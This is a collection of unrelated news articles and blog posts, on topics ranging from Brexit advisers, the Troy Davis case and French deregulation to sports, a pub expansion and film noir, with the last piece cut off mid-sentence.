-LSE foreign academics told they will not be asked to advise UK on Brexit  Leading foreign academics from the LSE acting as expert advisers to the UK government were told they would not be asked to contribute to government work and analysis on Brexit because they are not British nationals.  The news was met with outrage by many academics, while legal experts questioned whether it could be legal under anti-discrimination laws and senior politicians criticised it as bewildering.  “It is utterly baffling that the government is turning down expert, independent advice on Brexit simply because someone is from another country,” said Nick Clegg, the Liberal Democrats’ EU spokesman.  “This is yet more evidence of the Conservatives’ alarming embrace of petty chauvinism over rational policymaking.”  Sara Hagemann, an assistant professor at the London School of Economics who specialises in EU policymaking processes, EU treaty matters, the role of national parliaments and the consequences of EU enlargements, said she had been told her services would not be required. Hagemann tweeted on Thursday:  Sara Hagemann (@sarahagemann) UK govt previously sought work& advice from best experts. Just told I & many colleagues no longer qualify as not UKcitizens #Brexit @LSEnews  Asked to clarify whether she was responding to speeches at the Conservative party conference pledging tough new immigration controls, Hagemann, who is Danish, said she had been informed specifically that she would not be contributing to any further government Brexit work.  It is understood up to nine LSE academics specialising in EU affairs have been briefing the Foreign Office on Brexit issues, but the school was informed by a senior FCO official that submissions from non-UK citizens would no longer be accepted.  The staff concerned were then made aware of the instruction in an email from the head of the LSE’s European Institute, Kevin Featherstone, which said the Foreign Office planned to approach academics to contract staff for a Brexit advisory panel – but that those to be contracted “must be UK passport-holders.”  Amber Rudd faces backlash from businesses over foreign workers Read more  One of the group is understood to be a dual national, with citizenship of both the UK and another EU member state.  The Foreign Office was said to be concerned about the risk of sensitive material being exposed as article 50 negotiations over Britain’s exit from the EU – and subsequent talks on its future trade and other relations with the bloc – start to get under way.  The LSE said in statement that the government regularly called on its academics for advice, adding: “We believe our academics, including non-UK nationals, have hugely valuable expertise which will be vital in this time of uncertainty around the UK’s relationship with Europe and the rest of the world. Any changes to security measures are a matter for the UK government.”  The Foreign Office denied non-British nationals had been barred from the work, saying it had been misunderstood. “The FCO regularly works with academic institutions to assist in its policy research and nothing has changed as a result of the referendum,” a spokesman said.  “It has always been the case that anyone working in the FCO may require security clearance depending on the nature and duration of their work. Britain is an outward-looking nation and we will continue to take advice from the best and brightest minds, regardless of nationality.”  LSE interim director Prof Julia Black said in an internal school update memo on the matter that the world-renowned university stood by its academic principles of independence.  “You may have seen reports in the media that the Foreign Office have advised us that they will be issuing tenders to contract for advisory work, but that only UK nationals will be eligible to apply,” she said in the memo, which was posted on Twitter.  “Whilst the Foreign Office has long had a rule restricting the nationality of employees or secondees, the extension of the bar to advisory work seems to be new. However, it is for the Foreign Office to determine what its national security arrangements are, and their legality, not for us.  “We are standing firm to our principles of academic independence and valuing our truly international community of scholars. We will continue to stand by our colleagues and we strongly value the work that you all do.”  Steve Peers, a professor of EU law at the University of Essex who has advised the government, said it should be “perfectly possible to get useful input from some of the best-qualified people in the country” without anything sensitive being revealed.  “I don’t really get the security or sensitivity argument,” he said. “Whatever the reasons, this will come across as hostile, narrow and xenophobic.” He tweeted:  Steve Peers (@StevePeers) One of the best EU political scientists in the country  What kind of know-nothing nativist govt rejects the expertise of all non-citizens? https://t.co/Dm6N0x51Lp  Legal experts questioned whether the FCO could be in breach of UK public procurement law by requiring the work be carried out by British nationals. Albert Sanchez Graells, a senior law lecturer at Bristol university, said it “definitely” would be if the work was in the context of a services contract.  AlbertSánchezGraells (@asanchezgraells) @DavidAllenGreen if this was in context of a services contract, most definitely. I am happy to provide free legal opinion on this @LSEnews  Simon Cox, a migration lawyer at the Open Society Justice Initiative, said it might be possible for the government to legally restrict high-level advisers to British citizens, but added that the way the situation had been handled was “beyond disrespectful, and in a worryingly xenophobic context”.  UK in a Changing Europe, a thinktank on UK-EU relations of which Hagemann is a senior fellow, said it believed there was “a more pressing need than ever before for academic expertise to inform the multitude of difficult decisions to be taken in connection with Brexit” and that it would continue to publish research “whatever the nationality of the author”.  Separately, the Guardian has learned that another EU national – a migration specialist who asked not to be identified – was approached by a private recruitment firm for a Foreign Office post for which she was well qualified, but informed after several conversations that only British citizens would be eligible.  European academics, who make up about 15% of research and teaching staff at British universities, responded with dismay. Jan Eichhorn, a fellow in social policy at Edinburgh university, tweeted: “For the first time this makes me question whether it makes sense to continue working at a UK university as an EU policy-focussed academic.”  The government has come under sustained fire over immigration since the Conservative conference when the home secretary, Amber Rudd, said it was considering requiring companies to declare the proportion of international staff in their workforce.  Ministers were said to want to see lists of companies published and those employers with the highest proportions of foreign staff “named and shamed” for not employing British people when they could.  Rudd, who was forced to defend herself on radio against allegations of xenophobia, also announced a crackdown on overseas students and work visas, and pledged to prevent migrants “taking jobs British people could do”.  Theresa May was also accused after her conference speech of stoking anti-immigrant sentiment in the country by playing to fears about the impact of foreign workers on jobs and wages.  The prime minister said the EU referendum result legitimised a tougher line on immigration and some people did not like to admit that British workers could “find themselves out of work or on lower wages because of low-skilled immigration”.
-September 10, 2011  To All:  I want to thank all of you for your efforts and dedication to Human Rights and Human Kindness, in the past year I have experienced such emotion, joy, sadness and never ending faith. It is because of all of you that I am alive today, as I look at my sister Martina I am marveled by the love she has for me and of course I worry about her and her health, but as she tells me she is the eldest and she will not back down from this fight to save my life and prove to the world that I am innocent of this terrible crime.  As I look at my mail from across the globe, from places I have never ever dreamed I would know about and people speaking languages and expressing cultures and religions I could only hope to one day see first hand. I am humbled by the emotion that fills my heart with overwhelming, overflowing Joy. I can’t even explain the insurgence of emotion I feel when I try to express the strength I draw from you all, it compounds my faith and it shows me yet again that this is not a case about the death penalty, this is not a case about Troy Davis, this is a case about Justice and the Human Spirit to see Justice prevail.  I cannot answer all of your letters but I do read them all, I cannot see you all but I can imagine your faces, I cannot hear you speak but your letters take me to the far reaches of the world, I cannot touch you physically but I feel your warmth everyday I exist.  So Thank you and remember I am in a place where execution can only destroy your physical form but because of my faith in God, my family and all of you I have been spiritually free for some time and no matter what happens in the days, weeks to come, this Movement to end the death penalty, to seek true justice, to expose a system that fails to protect the innocent must be accelerated. There are so many more Troy Davis’. This fight to end the death penalty is not won or lost through me but through our strength to move forward and save every innocent person in captivity around the globe. We need to dismantle this Unjust system city by city, state by state and country by country.  I can’t wait to Stand with you, no matter if that is in physical or spiritual form, I will one day be announcing,  “I AM TROY DAVIS, and I AM FREE!”  Never Stop Fighting for Justice and We will Win!  Source
-PARIS (Reuters) - A panel created by President Francois Hollande to cut red tape for French business announced 50 measures on Monday aimed at saving billions of euros a year, as his government seeks to revive a struggling economy.  French President Francois Hollande addresses the audience at the National Aeronautic University of Queretaro in Queretaro April 11, 2014. REUTERS/Henry Romero  The measures will untangle a thicket of rules - including, for example, a requirement that bakers inform local police of their holiday plans - which are seen as preventing small and big business from flourishing in France.  The so-called “simplification blitz” is part of Hollande’s wider moves to cut payroll charges on French companies by 30 billion euros ($42 billion) during his mandate. Corporate tax cuts were announced earlier this month.  “We’ve revved up the simplification machine and it’s going to run for the next three years,” said Thierry Mandon, a Socialist lawmaker who co-authored the list of proposals. “This policy aims to save our companies time and money by cutting administrative costs that are excessive or useless.”  French corporate margins are the lowest in the euro zone. Hollande, who is fighting to bring joblessness down from above 10 percent, hopes the measures will stimulate hiring by saving companies billions of euros (dollars), following similar initiatives in Britain and Germany.  The two countries saved companies 1.5 and 2 billion euros per year, respectively, over a decade by lowering paperwork costs by about 25 percent, Mandon told Reuters. The aim is for the French measures to be in place by the end of this year.  SELF-IMPOSED HURDLES  Some measures proposed by Mandon aim to scrap antiquated or arcane rules, such as the one requiring bakers to declare their summer holiday plans.  “That dates back to the 1930s when we were afraid of lacking for bread!” Mandon said.  Others aim to simplify business life by standardising the use of terms - depending on context, there are no fewer than four meanings for the word “day” - or cutting the number of lines on payslips down to six from 25 to 30 currently.  That measure alone would entail reducing the number of agencies in charge of collecting social charges - currently above 200 - to about 20, a massive undertaking which Mandon estimates could take 24 months to complete.  Entrepreneurs will have an easier time registering new companies, while smaller firms will no longer have to submit dozens of documents in duplicate to several administrative centres in order to join a public call for tenders.  “France is a masochistic athlete that sets up hurdles for itself when its competitors are knocking them down,” Guillaume Cairou, head of the Club des Entrepreneurs, said in a statement. “The pileup of regulation is just as intolerable for our companies as it is for foreign investors whose money ends up fleeing our country.”  In a first phase of simplification, the government did away with the Bank of France’s practice of stamping the number “040” on the file of anyone who had a business bankruptcy in the past, making it very difficult for them to regain access to credit.  Now all companies will be covered by a so-called “zero new cost” pledge by which the government vows not to impose extra charges on firms as a result of new rules or laws.  “Any new cost will be offset by a reduction that is at least equivalent to the cost,” said Mandon’s report, which sums up the conclusions of an expert commission.  The measures will also prevent tax authorities from seeking retroactive payments on levies that have been imposed during the year, a major bugbear of companies at a time of frequent changes to tax rules.  Mandon added that the commission aims to propose new simplification measures every six months, with a next batch due in September, until the end of Hollande’s term in 2017. ($1 = 0.7201 Euros)
-The 2017 Nobel Prize for Literature has been awarded to UK novelist Kazuo Ishiguro.  Born in Japan in 1954, the author's family moved to England when he was five years old.  The writer, "in novels of great emotional force, has uncovered the abyss beneath our illusory sense of connection with the world", the Nobel Prize committee said in a statement on Thursday.  He is best known for the dystopian work Never Let Me Go and The Remains of the Day, a book Ishiguro has said he wrote in just four weeks.  The 62-year-old also writes screenplays.  Ishiguro studied at the University of Kent, receiving an undergraduate degree in English and Philosophy and later receiving a Master's degree from the University of East Anglia in Creative Writing.  His latest book, The Buried Giant, was published in 2015.  Social media users took to Twitter to congratulate Ishiguro on the high acclaim.  "Congrats to Kazuo Ishiguro on the Nobel! REMAINS OF THE DAY was perfect, emotionally, politically, structurally. Makes me burn with envy," tweeted author Raj Balasubramanyam.  "Kazuo Ishiguro! The Nobel committee somewhat begins to redeem itself after last year's blooper," said writer and journalist Abubakar A Ibrahim, in an apparent dig at the 2016 decision to award the prestigious prize to Bob Dylan.
-This article is over 2 years old  Jesse, 26, and Jackson George, 23, pleaded guilty to planning to sell the pygmy marmosets taken from Symbio wildlife park  Two Sydney brothers charged over the theft of three rare miniature monkeys have pleaded guilty to transporting and intending to sell them.  Jackson George, 23, and his brother Jesse, 26, were charged on Sunday with dealing with proceeds of crime after three pygmy marmosets were stolen from the Symbio wildlife park in Helensburgh, south of Sydney, on Friday night.  Acting on a tip-off, police found one monkey after stopping the brothers in a car at the Appin Hotel on Sunday afternoon. Despite attempts by Jesse to hide the four-week old, police seized the animal and charged the brothers.  While both men are not deemed to be responsible for the theft, police have accused Jackson of obtaining the monkey from the alleged thief or thieves and planning to sell it.  Police and zookeepers had been desperate to find the suckling infant after experts warned it was likely to die if it spent more than 24 hours without its mother. A second monkey, 10-month old sister Sofia, was uncovered in the Campbelltown area on Sunday night but Gomez, the father of the two, is still missing.  Baby monkey stolen from NSW zoo found by police Read more  Police opposed Jackson’s bail appeal in Campbelltown court on Monday, saying they believed he had further information about Gomez’s whereabouts.  “He has shown complete contempt for police and their desperate attempts to reunite the animals with their family unit,” prosecutor Peter Robinson told the court. “He has laughed and stated, ‘you have my phone, you’ll work it out’.”  However, police say they have not been able to glean any further information about the missing monkey’s location from Jackson’s phone.  Court documents show Jackson was communicating with a third person, Ryan, who offered to sell the baby monkey to the 23-year-old.  “Ay, check out my monkey”, Ryan said in a text message with a picture of the animal, which was tendered in court.  “That’s mad bro. Wanna sell it bruh?” Jackson responded.  Ryan told Jackson he “paid nothing” for the monkey, but “got it from the zoo last night”.  Later on in the conversation, when Ryan asked how much they could sell the pygmy marmoset for, Jackson suggested “500”.  “But [I] haven’t been offered any in ages bro,” he texted.  There was also evidence from the texts that the pair had been, or planned to be, involved in the selling of a snake and a joey.  Magistrate Clare Farnan said the situation was a rare one for the courts.  “It’s certainly not a common thing to see a proceeds of crime as a pygmy marmoset monkey,” she said.  Farnan sentenced Jesse to a two-year good behaviour bond and fined him $1,500 for being an accomplice to the crime.  Jackson was granted bail until his sentencing on January 10 while a full pre-sentence report was ordered.
-The power-seeking A's have turned their attention to Trumbo, who led the Major Leagues with 47 home runs last season, after missing out on Edwin Encarnacion.  The Oakland Athletics have reached out to free-agent slugger Mark Trumbo, sources told MLB Network insider Jon Heyman on Wednesday.  The Oakland Athletics have reached out to free-agent slugger Mark Trumbo, sources told MLB Network insider Jon Heyman on Wednesday.  The power-seeking A's have turned their attention to Trumbo, who led the Major Leagues with 47 home runs last season, after missing out on Edwin Encarnacion.  Per Heyman, Oakland presented Encarnacion with a $50 million deal before he settled on a three-year, $60 million offer from Cleveland.  • Hot Stove Tracker  Trumbo, a native of Anaheim, Calif., would be a major boost to the A's lineup after setting a career high with 47 home runs with the Orioles in 2016.  The Orioles had a four-year offer on the table for Trumbo earlier this offseason, and though they have since rescinded that offer, they are still reportedly interested in bringing him back.  The Rockies have also been linked to Trumbo, who also set a career high with 108 RBIs and was selected to the American League All-Star team in 2016.
-Just a day before, we did a story on how a law student from Rajasthan fell to her death (we have now deleted it) while trying to click a selfie in Gokarna town of Karnataka. The story is apparently false.  Some of the friends of the victim have come up with a version of events that differ from the story that was put out by many publications including us. They are claiming that she didn't even go to the lighthouse on that particular day.  Source: Facebook  We spoke to one of the victim's friends, Roshni Namboodiry over the phone and here's what she said: "The entire incident has been falsely reported. She was washed away by a tide alongwith some of her friends. The silly story about clicking a selfie is completely false."  According to eyewitnesses and as stated in the First Information Report filed at the Gokarna Police Station of Uttar Kannad District, Pranita was sitting with three friends on rocks by the sea at Kumta Beach at Gokarna when she was swept away by the tide.  She had held on to a rock for support but lost her grip, and was carried away by the current into the sea. Her body was brought back to the shore by local fishermen 40 minutes after the accident and she was declared dead.  Pranita Mehta | Source: Facebook  Contrary to extensive press coverage that followed the accident, in which Pranita's death was incorrectly depicted as a consequence of careless selfie-taking, she did not, in fact, fall to her death off a 30-foot lighthouse. The Post Mortem Report does not cite any injuries which may have resulted from such a fall.  ScoopWhoop received the above information this afternoon from Pranita's friends who were present at the time of the accident and had filed the FIR. We apologise to Pranita's family and friends for hurting their sentiments and maligning her memory by publishing an incorrect account of her death. We also apologise to our readers for relying on other newspapers for this story without verifying their sources.  Through a Reddit post -- PranitaThrowaway, another friend, has posted details about the entire incident online.  Here's the post:  Pranita, who was a student of National Law University, Jodhpur, was visiting Gokarna with four of her friends. They were at Kumta beach, and were sitting on some rocks which were about 10-15 feet above sea, when due to unexpected high tide, 3 of the youngsters, including the deceased, were flown away by a giant wave.  Two of them were brought back to the shore by another wave, but the deceased, whose glasses had come off, continued to struggle as she held on to a rock for support she bravely struggled and tried to swim for 45 mins. Unfortunately, she lost her grip, and was carried towards the deeper end of the sea by the waves.  The friends promptly called the Police as well as the Management of the Hotel they were staying at, and proceeded to seek help from the local residents from a nearby village. However, they could not understand the youngsters’ plea for help, and by the time they did send some help, about forty minutes had already passed and the deceased was out of sight.  She was brought back ashore on a boat by some of the local fishermen, and was pronounced dead by the authorities. Her body was taken for post-mortem and was handed over to her relatives afterwards.  The copy of the FIR and the post mortem report has been removed as per the family member's wishes.
-The FIA has installed the kerbs on the exit of Turns 6 and 7, the two left-handers in the middle of the lap, plus the apex of Turn 8 and Turns 9 and 10, the final two corners.  Baguette kerbs were in place last season at the last two turns, but the spacing between them has been increased to 3.2m for this year after a number of cars suffered damage hitting them in the 2016 event.  But Felipe Massa and Romain Grosjean both lost bodywork in this year's Friday practice after running wide at Turn 9, while Carlos Sainz Jr’s FP2 ended prematurely because of the damage his Toro Rosso sustained after his own off.  “This is not the highest-grip track and with the higher speeds this year, if you have a moment, it is difficult to correct without hitting a kerb or going through the gravel, which a lot of people have experienced today,” said Verstappen.  “The yellow kerbs were definitely a challenge and I think maybe they are not the type of kerbs for Formula 1, the cars just aren’t designed for it.”  Massa said a solution would be “a bit tricky” but was annoyed to suffer damage to his upgraded Williams just by trying to return to the track.  “I damaged my car today, and the kerb is definitely not there to damage the car, it’s there for different reasons,” he said.  “I didn’t damage my car because I was trying to use too much, I damaged [it] because I just went off [and was] coming back.  “It was not great.”  Grosjean, who suffered damage to the floor, said he does not expect the kerbs to be changed this weekend.  He described the design as “pretty aggressive”.  “I got a big hit,” Grosjean said. “We are going to reinforce everything we can to make sure it stays in one piece.”  Sainz’s Toro Rosso teammate Daniil Kvyat claimed the changes had made the kerbs “better” than last year even though he admitted they are “a bit odd compared to other circuits”.  Kvyat’s view was shared by Mercedes driver Lewis Hamilton, who said: “It’s not as bad as it was last year.  “Last year the kerbs were pretty bad – people’s suspension was breaking.”  Additional reporting by Adam Cooper and Lawrence Barretto
-One of Dublin’s last surviving Victorian pubs, Bowe’s on Fleet Street, is facing its biggest change in 160 years under plans for a three-fold expansion of the premises.  A planning application has been made to Dublin City Council to expand the pub at 31 Fleet Street into the ground floor and basement of the neighbouring buildings at 29 and 30 Fleet Street, formerly a branch of bookmakers Ladbrokes.  The former Ladbrokes shop, now vacant, is sandwiched between Bowe’s and Doyles, a large corner pub at 28 Fleet Street/9 College Street. Both pubs are owned by Declan Doyle.  The work would involve breaking through the eastern wall of Bowe’s at ground floor level to interconnect the building with number 29/30. The basement of 29/30, which is currently part of Doyles pub, would become part of the newly expanded Bowe’s, and the access from Doyles to that basement would be closed off.  The applicants are also seeking permission to change the use of the ground floor portion of 29/30 from the current retail and hostel/B&B use to licensed premises use.  The pubs and the former bookmakers were built between 1798 and 1812 on a site which rounds the corner at Fleet Street onto College Street, and are protected structures. A pub was opened at the current Bowe’s premises in 1854 by Christopher McCabe. In the late 1880s it changed into the hands of John O’Connor and in the early part of the last century it became Bowe’s.  Bowe’s has a traditional ornate Victorian pubfront and its interior has Victorian decorative joinery. The “visual character” of the pub will remain intact after the work, according to the application and the snug at the entrance will be unaltered.  The interior of the old Ladbrokes building is primarily 20th century and would be fitted out in a style “sympathetic” to the “historic character” of Bowe’s, the applicants said. Wall panelling and mirrors removed to create the new opening will be reused in the expanded pub.  Bowe’s existing bar counter along its western wall will be left in place and a new bar will be built along the back wall of 29 and 30. A new entrance to the expanded pub will be located at number 29.
-Here’s a take I think readers of MSP will appreciate on the latest round of controversy over the church’s practice of proxy baptism of holocaust victims with no LDS progeny. (That supposedly is one of the criteria that makes a proxy baptism OK: someone has Mormon descendents who want to offer their ancestor is ordinance.) This writer, Stephen Frug, doesn’t think that baptism for the dead matters–and he doesn’t “understand why anyone else does think it matters.”  The point is, a non-Mormon should no more believe that the Mormon baptism of the dead does anything (save please those among the living involved in it) than I believe that my son’s frequent announcement that he and I are both Buzz Lightyear does anything. Personally I think that they’re pretty equivalent — save that my son, of course, is three years old, and therefore the fact that he speaks like a child, thinks like a child and understands like a child is perfectly appropriate…. To object to the Mormon baptism of the dead is ultimately to subscribe to a small slice of Mormon doctrine, namely, that part that says the baptism of the dead actually has some effect (if only to offer souls in the afterlife an option). Those of us who are not Mormons should be able to recognize that this Mormon belief like all the others is simply false: that the baptism of the dead does nothing. Who cares what games others play?  Stephen characterizes the nature of the insult done to the “recipients” of proxy baptism, as one of disrespect. And certainly I think it is disrespectful. But I think it’s more than that. It’s also profound condescension and religious chauvinism.  Don’t know about anyone else, but I got in a conversation about this on Facebook, with a friend who is also an atheist Jew. She was outraged, and I pretty much understood her outrage. I explained as well as I could the doctrine behind proxy baptism, adding,  I can’t defend this. I can only explain how Mormons see it. I just wish Mormons were more willing to see how it appears to others. This to me is a perfect example of religion making real empathy and kindness all but impossible. Mormons are so caught up in their doctrinal imperatives that in some ways they simply *CANNOT CARE* as they should about what this means to the people they honestly believe they are helping.  To reconcile somewhat what Stephen writes and what I myself feel, I think he’s right that  To the extent that anything’s disrespectful, it’s not the posthumous baptism, which is a mere instantiation of a larger phenomenon, it’s that Mormon doctrine is disrespectful. And not just Mormon doctrine: any non-universalist religious belief that requires adherence for salvation is basically disrespectful of the entire rest of humanity.  The Mormon doctrine IS disrespectful. The Mormon doctrine is what makes Mormons fundamentally incapable of realizing their stated goal of showing genuine respect for other faiths, because the doctrine ultimately wins out in any contest Mormons envision: “OK,” they think, “we won’t perform proxy baptisms for these people now; we’ll wait and do it after the second coming. Because we know it has to be done someday, because we know that EVERYONE must be baptized into God’s one and only true church.”  So yeah, ultimately, proxy baptism does nothing for the one baptized by proxy because it’s clear enough that the whole “you can’t get into heaven unless you have this and that preparatory ordinance and learn the secret handshakes and passwords” business is nonsense. But it does something to the minds and spirits of those who advocate and practice it: it makes them less empathetic, compassionate, and kind, which are supposed to the be the highest ideals of christianity, and what we’re really here to learn.
-An Athens court on Wednesday acquitted anarchist Costas Sakkas, 30, over charges of violating his restricted-residence order. Sakkas, who is accused of being a member of the Conspiracy of the Cells of Fire urban guerilla group, was arrested on Tuesday.  Police said that Sakkas had spent the night at a house in Neo Psychico, northern Athens, where he was arrested, effectively violating an order that restricted him to spending the night at his family's residence in Piraeus.  Sakkas had been arrested on December 4, 2010, outside an apartment in Nea Smyrni, southern Athens, where arms were being hidden.  He was granted conditional release in July after going on hunger strike to protest the fact that he was being held in detention for two-and-a-half years, when the maximum period for pretrial custody was 18 months.  He denies being a member of Conspiracy of the Cells of Fire.
-A new working paper authored by the UC Berkeley economist Jesse Rothstein builds on that research, in part by zeroing in on one of those five factors: schools. The idea that school quality would be an important element for intergenerational mobility—essentially a child’s likelihood that they will one day outearn their parents—seems intuitive: Leaders regularly stress that the best way to rise up the income ladder is to go to school, where one can learn the skills they need to succeed in a competitive, global economy. “In the 21st century, the best anti-poverty program around is a world-class education,” Barack Obama declared in his 2010 State of the Union address. Improving “skills and schools” is a benchmark of Republican House Speaker Paul Ryan’s poverty-fighting agenda.  Indeed, this bipartisan education-and-poverty consensus has guided research and political efforts for decades. Broadly speaking, the idea is that if more kids graduate from high school, and achieve higher scores on standardized tests, then more young people are likely to go to college, and, in turn, land jobs that can secure them spots in the middle class.  Rothstein’s new work complicates this narrative. Using data from several national surveys, Rothstein sought to scrutinize Chetty’s team’s work—looking to further test their hypothesis that the quality of a child’s education has a significant impact on her ability to advance out of the social class into which she was born.  Rothstein, however, found little evidence to support that premise. Instead, he found that differences in local labor markets—for example, how similar industries can vary across different communities—and marriage patterns, such as higher concentrations of single-parent households, seemed to make much more of a difference than school quality. He concludes that factors like higher minimum wages, the presence and strength of labor unions, and clear career pathways within local industries are likely to play more important roles in facilitating a poor child’s ability to rise up the economic ladder when they reach adulthood.*  For Rothstein, there’s no reason to assume that improving schools will be necessary or sufficient for improving someone’s economic prospects. “We can’t educate people out of this problem,” he says.  His work, like Chetty’s, is not causal—meaning Rothstein is not able to identify exactly what explains the underlying variation in his economic model. Nevertheless, his work helps to provide researchers and policymakers with a new set of background facts to investigate, and signals that perhaps they should be reconsidering some of their existing ideas. (Both Raj Chetty and his co-author Nathaniel Hendren declined to comment for this story.)  Jose Vilson, a New York City math teacher, says educators have known for years that out-of-school factors like access to food and healthcare are usually bigger determinants for societal success than in-school factors. He adds that while he tries his best to adhere to his various professional duties and expectations, he also recognizes that “maybe not everyone agrees on what it means to be successful” in life.
-Name: Batman  Age: Three months old  Gender: Male  Kind: Netherland Dwarf, Polish Rabbit  Home: Steinkjer, Norway  T his Batman! What makes him so special is that he listens to his name, and he is very fond of me and come to me once he sees me. He is a very special young rabbit who learns incredibly fast!  Batman was born on December 30, 2014 with two other siblings, this trio was a very special trio. Batman was the greatest of them all, he was the first who came out of the nest after he opened his eyes. Batman has always been a little explorer and he loves to explore new things. He and the other two siblings weaned themselves and started to drink water and follow their mother and pester her.  When Batman was one month old, I took him with me out in the snow and he got to run and enjoy himself. I lay on the ground to take some pictures of him where he ran and enjoyed himself. As soon as I got down, he came at full speed towards me and jumped on my stomach and wanted to have cuddles, and then I lay on my stomach and photographed him. He often came up to my face and sniffed me and licked my cheek and shoulder. When he wanted to play, he ran a little away and came running towards me again and jumped on my back and lay down there. We are often out when it is sunny, so then he lays down to relax in the sun on my back!  He answers to his name almost always, and pays attention and comes when I call him. He is a very attention-seeking rabbit who will not say "no thanks" to cuddle! He is my gold baby and I love him with all my heart.  All his photos are copyright ©Elise Mari Holm Aanes.  View more images of Batman!  Talk about Batman in Pet Talk!
-Peru Football Federation (FPF) president Edwin Oviedo has said there is no danger of the national team losing their World Cup spot.  Oviedo's reassurance comes after newspaper Libero reported that Peru's place could be in jeopardy following a bill presented by congresswoman Paloma Noceda that would see the FPF lose its autonomy.  Libero said Noceda's proposal would see the Institute of Sport control the federation, but any government intervention could see Peru excluded by FIFA.  Peru reached their first World Cup for 36 years by beating New Zealand 2-0 on aggregate in a play-off earlier this month.  And Oviedo told Peruvian radio station RPP that they would be playing in Russia.  ¡Buen Día!  "TODOS CON PERÚ", hinchas alzaron su voz de protesta contra el proyecto que podría dejarnos sin Mundial, fujimorismo dio marcha atrás ➡https://t.co/1yKzLnjvP4 pic.twitter.com/FkahDjuZVd — Libero.pe (@liberope) November 22, 2017  He said: "Congress listened to our suggestions in order not to take this risk.  "We at the FPF are calm. It's impossible that we risk Peru's participation. Our national team will be in Russia 2018."  Noceda, the president of Peru's Education, Youth and Sport Commission, also sought to dispel fears that the bill would put Peru in danger.  She said it only states that the Peruvian Institute of Sport, affiliated to the Ministry of Education, can oversee the federation as the current law stipulates but cannot control it.  Speaking to the EFE news agency, she said: "It would not endanger, in any way, the World Cup participation.  "We are happy to have qualified for the World Cup. It's been three decades that we have waited for this.  "Everyone celebrated because of it and my bill has nothing to do with football. It's only directed at matters regarding sport centres."  However, if Peru were to be excluded, it would open up the door for another nation to take their place, with FIFA rules saying the governing body's "organising committee can, in particular, decide to replace the association in question with another association."  The highest-ranked side to have missed out on the World Cup are 10th-placed Chile, who finished sixth in their South American qualifying round behind Peru on goal difference.  Italy, who failed to reach a World Cup for the first time since 1958 after losing a playoff to Sweden, are ranked 14th.  Under FIFA regulations only 13 European teams can play at a World Cup and that quota is already filled.  In the 1992 European Championship, Denmark -- who went on to win the event -- qualified only after Yugoslavia, who had finished top of them in their group, were disqualified.  That could mean New Zealand, as Peru's beaten playoff opponents, stepping up to take their place in the event of expulsion.  Meanwhile, Oviedo said the federation was working on extending the contract of national coach Ricardo Gareca, a reported target for several other federations.  Gareca, who has been in charge since February 2015, is out of contract after the World Cup.  "The aim of the FPF is to offer him a contract extension for the next [2022 World Cup] qualifiers," Oviedo said.  "It will happen before the World Cup, that is our desire, but it will depend on what he wants."  Adriana Garcia is a Valencia-based football writer who covers La Liga for ESPN FC.
-The PlayStation Network outage has had a silver lining for Sony's sales.  Having your customer's data stolen through a cyberattack, and subsequently bringing down your proprietary gaming network for almost a month is never a good thing. But Sony tried to make good with gamers by offering four older titles for free through its Welcome Back Program and may have accidentally hit upon a new way to increase game sales. Electronic Entertainment Design and Research (EEDAR), a market research firm, released a report that claims sales of Sony titles such as Infamous 2 and Little Big Planet 2 actually increased due to offering the original games for free. The report recommends other publishers experiment with offering older games in its catalog for free, especially when a new sequel is on the shelves.  "While the Welcome Back program was designed to rekindle the activity and consumer trust of PlayStation Network users, the data suggests it may have highlighted a new profitable sequence for video game," EEDAR's report read.  By offering games for free, the increased awareness, excitement and purchasing intent for a franchise more than makes up for any decreased sales profits, as EEDAR's data proves:  When broken down mathematically, the results make a sound financial argument. If a game that once sold 2 million units in the market is currently available digitally and physically, it is likely producing gross receipts of about $500,000 a month. Assuming that gross receipts reduce to $0 during a 30 day period where a title is free (-$500,000), as long as the free offering boost sales of the next iteration by 8,500 units (at $59 ASP), then it would produce a net/net benefit to the publisher. EEDAR believes that the publicity generated from the free offering, in addition to new consumers being introduced to the series, would make the 8,500 unit mark easily achievable.  There are a few downsides, though. Games which have a strong narrative element, such as the Mass Effect series, often see huge spikes in sales of previous titles for gamers that want to "catch up" with the story. Offering narrative games for free may not offset the potential profits. The other problem is that physical retailers - as opposed to digital marketplaces - will likely frown on offering product for free that they can typically charge rental or used prices.  Unlike movies, there is no clear sequence of sales for games and the industry could seriously use one. "For instance, a movie is first released in theatres where it generates the most revenue, then moves to the Pay-Per-View market, followed by the rental market and lastly, broadcast for free on network television," the EEDAR report points out. "Within the video game industry, however, these sequences typically occur simultaneously with games being available physically, digitally and for rental concurrently and rarely made available for free."  The plan that EEDAR recommends sounds similar to the free-to-play revolution going on in MMOs right now. Exposure to more content often loosens the purse strings more than a $60 paywall.  While it certainly seems counter-intuitive to offer product for free, I'm sure that gamers would welcome playing older games without emptying their wallets.
-0  L.A. Confidential arrived in theaters on this day in 1997. The 50s-set potboiler received almost unprecedented universal acclaim, and if you were of a certain age then, it very likely introduced you to film noir.  Film noir was a genre that, like the Western, used to be the most popular style of film for the early movie studios but fell out of favor by the 60s. Like Westerns, film noir was frequently considered a lower class of cinema in comparison to the sweeping adaptations of epic popular fiction. And the immense regard that many of the older films now have, most of that came later as film criticism grew to become more respected and international film embraced the shadowy works of detective fiction.  Film noir itself was an important genre for legitimizing cinema as an artform — the use of shadows for terror, the seductive placement of limbs, glances, and the way someone smoked a cigarette substituted for dialogue. The Hayes Production Code made it harder to convey sex, but film noir coded it by using characters that work just outside the respectability of the police force, but instead are hired in private to unravel mysteries that the people hiring would also like to keep private and out of the police dossiers and headlines. And that distance from societal order opened up narratives to include other perceived lessers: gamblers, alcoholics, burlesque dancers, prostitutes, and desperate men and women. As such, the femme fatale was born to counterpart the brooding and mysterious private detective. Acclaimed film director Jean-Luc Godard famously began his career as a film critic writing for France’s Cahiers du cinema, where he frequently championed this post-WWII cinematic movement for portraying a level of unease and disbelief that the rest of popular cinema was avoiding. Godard famously quipped that all you need to make a movie is a gun and a girl. And that’s partly what made noir so popular at movie studios: it was cheap to make and it could create a movie star out of an actor/actress who was on contract.  Film criticism also shifted in the 40s and 50s to include more artful analysis of movies (suggestion: read some of the early 1940s film criticism from novelist James Agee when he started at Time in 1942; Agee was hugely influential to our big American critics of the 60s onward—like the Cahiers writers, and Pauline Kael and Roger Ebert.) Agee himself was excited by noir and pulp films, and he often fought to include them in Time which boosted their profile in intellectual circles and was extremely formative for elevating many genres decades later, such as horror. Agee also later went on to write the seminal, noir-inspired Night of the Hunter script that attacked the potential for hypocrisy in religion. Attacking convention and the open embrace of 